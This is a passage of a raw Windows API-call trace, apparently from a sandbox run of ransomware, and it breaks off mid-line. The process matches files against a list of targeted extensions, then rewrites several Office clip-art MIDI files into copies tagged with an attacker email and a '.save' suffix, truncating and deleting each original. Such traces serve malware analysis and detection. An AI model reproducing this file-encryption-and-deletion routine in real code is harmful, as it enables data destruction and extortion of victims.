lstrlenW (lpString=".ppt") returned 4 [0172.986] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.986] lstrlenW (lpString=".zip") returned 4 [0172.986] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.986] lstrlenW (lpString=".rar") returned 4 [0172.986] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.986] lstrlenW (lpString=".bz2") returned 4 [0172.987] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.987] lstrlenW (lpString=".7z") returned 3 [0172.987] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString=".dbf") returned 4 [0172.987] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString=".1cd") returned 4 [0172.987] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString=".jpg") returned 4 [0172.987] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString=".doc") returned 4 [0172.987] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0172.987] lstrlenW (lpString=".docx") returned 5 [0172.987] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0172.987] lstrlenW (lpString=".pdf") returned 4 [0172.987] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0172.987] lstrlenW (lpString=".xls") returned 4 [0172.987] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0172.987] lstrlenW (lpString=".xlsx") returned 5 [0172.987] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0172.987] lstrlenW (lpString=".ppt") returned 4 [0172.987] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0172.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.987] lstrlenW (lpString=".zip") returned 4 [0172.987] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0172.987] lstrlenW (lpString=".rar") returned 4 [0172.987] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0172.988] lstrlenW (lpString=".bz2") returned 4 [0172.988] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0172.988] lstrlenW (lpString=".7z") returned 3 [0172.988] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0172.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.988] lstrlenW (lpString=".dbf") returned 4 [0172.988] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0172.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.988] lstrlenW (lpString=".1cd") returned 4 [0172.988] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0172.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0172.988] lstrlenW (lpString=".jpg") returned 4 [0172.988] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0172.988] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.988] lstrlenW (lpString="FINCL_02.MID") returned 12 [0172.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.990] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=9318) returned 1 [0172.990] CloseHandle (hObject=0x544) returned 1 [0172.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0172.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.990] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.991] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0172.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.992] GetLastError () returned 0x0 [0172.992] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2466, lpOverlapped=0x0) returned 1 [0173.178] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2470, lpOverlapped=0x0) returned 1 [0173.179] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0173.179] SetEndOfFile (hFile=0x510) returned 1 [0173.295] CloseHandle (hObject=0x510) returned 1 [0173.332] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.332] SetEndOfFile (hFile=0x544) returned 1 [0173.335] CloseHandle (hObject=0x544) returned 1 [0173.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0173.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.337] lstrlenW (lpString=".doc") returned 4 [0173.337] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.337] lstrlenW (lpString=".docx") returned 5 [0173.337] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0173.337] lstrlenW (lpString=".pdf") returned 4 [0173.337] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.337] lstrlenW (lpString=".xls") returned 4 [0173.337] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.337] lstrlenW (lpString=".xlsx") returned 5 [0173.337] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0173.337] lstrlenW (lpString=".ppt") returned 4 [0173.337] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString=".zip") returned 4 [0173.338] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.338] lstrlenW (lpString=".rar") returned 4 [0173.338] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.338] lstrlenW (lpString=".bz2") returned 4 [0173.338] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.338] lstrlenW (lpString=".7z") returned 3 [0173.338] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString=".dbf") returned 4 [0173.338] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString=".1cd") returned 4 [0173.338] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString=".jpg") returned 4 [0173.338] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.338] lstrlenW (lpString=".doc") returned 4 [0173.338] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.338] lstrlenW (lpString=".docx") returned 5 [0173.338] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0173.338] lstrlenW (lpString=".pdf") returned 4 [0173.338] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.339] lstrlenW (lpString=".xls") returned 4 [0173.339] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.339] lstrlenW (lpString=".xlsx") returned 5 [0173.339] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0173.339] lstrlenW (lpString=".ppt") returned 4 [0173.339] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.339] lstrlenW (lpString=".zip") returned 4 [0173.339] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.339] lstrlenW (lpString=".rar") returned 4 [0173.339] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.339] lstrlenW (lpString=".bz2") returned 4 [0173.339] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.339] lstrlenW (lpString=".7z") returned 3 [0173.339] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.339] lstrlenW (lpString=".dbf") returned 4 [0173.339] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.339] lstrlenW (lpString=".1cd") returned 4 [0173.339] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0173.339] lstrlenW (lpString=".jpg") returned 4 [0173.340] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.340] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.340] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0173.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.341] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6880) returned 1 [0173.341] CloseHandle (hObject=0x544) returned 1 [0173.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0173.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.342] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.342] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.343] GetLastError () returned 0x0 [0173.343] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0173.345] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1af0, lpOverlapped=0x0) returned 1 [0173.346] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0173.346] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0173.346] SetEndOfFile (hFile=0x434) returned 1 [0173.346] CloseHandle (hObject=0x434) returned 1 [0173.346] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.346] SetEndOfFile (hFile=0x544) returned 1 [0173.349] CloseHandle (hObject=0x544) returned 1 [0173.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0173.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.350] lstrlenW (lpString=".doc") returned 4 [0173.350] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.350] lstrlenW (lpString=".docx") returned 5 [0173.350] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.350] lstrlenW (lpString=".pdf") returned 4 [0173.350] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.351] lstrlenW (lpString=".xls") returned 4 [0173.351] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.351] lstrlenW (lpString=".xlsx") returned 5 [0173.351] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.351] lstrlenW (lpString=".ppt") returned 4 [0173.351] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString=".zip") returned 4 [0173.351] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.351] lstrlenW (lpString=".rar") returned 4 [0173.351] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.351] lstrlenW (lpString=".bz2") returned 4 [0173.351] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.351] lstrlenW (lpString=".7z") returned 3 [0173.351] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString=".dbf") returned 4 [0173.351] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString=".1cd") returned 4 [0173.351] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString=".jpg") returned 4 [0173.351] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.351] lstrlenW (lpString=".doc") returned 4 [0173.351] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.351] lstrlenW (lpString=".docx") returned 5 [0173.351] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.351] lstrlenW (lpString=".pdf") returned 4 [0173.352] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.352] lstrlenW (lpString=".xls") returned 4 [0173.352] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.352] lstrlenW (lpString=".xlsx") returned 5 [0173.352] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.352] lstrlenW (lpString=".ppt") returned 4 [0173.352] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.352] lstrlenW (lpString=".zip") returned 4 [0173.352] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.352] lstrlenW (lpString=".rar") returned 4 [0173.352] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.352] lstrlenW (lpString=".bz2") returned 4 [0173.352] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.352] lstrlenW (lpString=".7z") returned 3 [0173.352] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.352] lstrlenW (lpString=".dbf") returned 4 [0173.352] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.352] lstrlenW (lpString=".1cd") returned 4 [0173.352] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0173.352] lstrlenW (lpString=".jpg") returned 4 [0173.352] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.352] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.352] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0173.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.356] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=5968) returned 1 [0173.356] CloseHandle (hObject=0x544) returned 1 [0173.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0173.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.357] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.357] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.358] GetLastError () returned 0x0 [0173.358] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1750, lpOverlapped=0x0) returned 1 [0173.360] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1760, lpOverlapped=0x0) returned 1 [0173.361] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0173.361] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0173.361] SetEndOfFile (hFile=0x434) returned 1 [0173.361] CloseHandle (hObject=0x434) returned 1 [0173.361] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0173.361] SetEndOfFile (hFile=0x544) returned 1 [0173.364] CloseHandle (hObject=0x544) returned 1 [0173.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0173.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.366] lstrlenW (lpString=".doc") returned 4 [0173.366] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.366] lstrlenW (lpString=".docx") returned 5 [0173.366] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.366] lstrlenW (lpString=".pdf") returned 4 [0173.366] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.366] lstrlenW (lpString=".xls") returned 4 [0173.366] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.366] lstrlenW (lpString=".xlsx") returned 5 [0173.366] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.366] lstrlenW (lpString=".ppt") returned 4 [0173.366] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0173.366] lstrlenW (lpString=".zip") returned 4 [0173.366] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.366] lstrlenW (lpString=".rar") returned 4 [0173.366] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.366] lstrlenW (lpString=".bz2") returned 4 [0173.366] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.366] lstrlenW (lpString=".7z") returned 3 [0173.367] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.367] lstrlenW (lpString="C:\\Program Files\\Microsoft 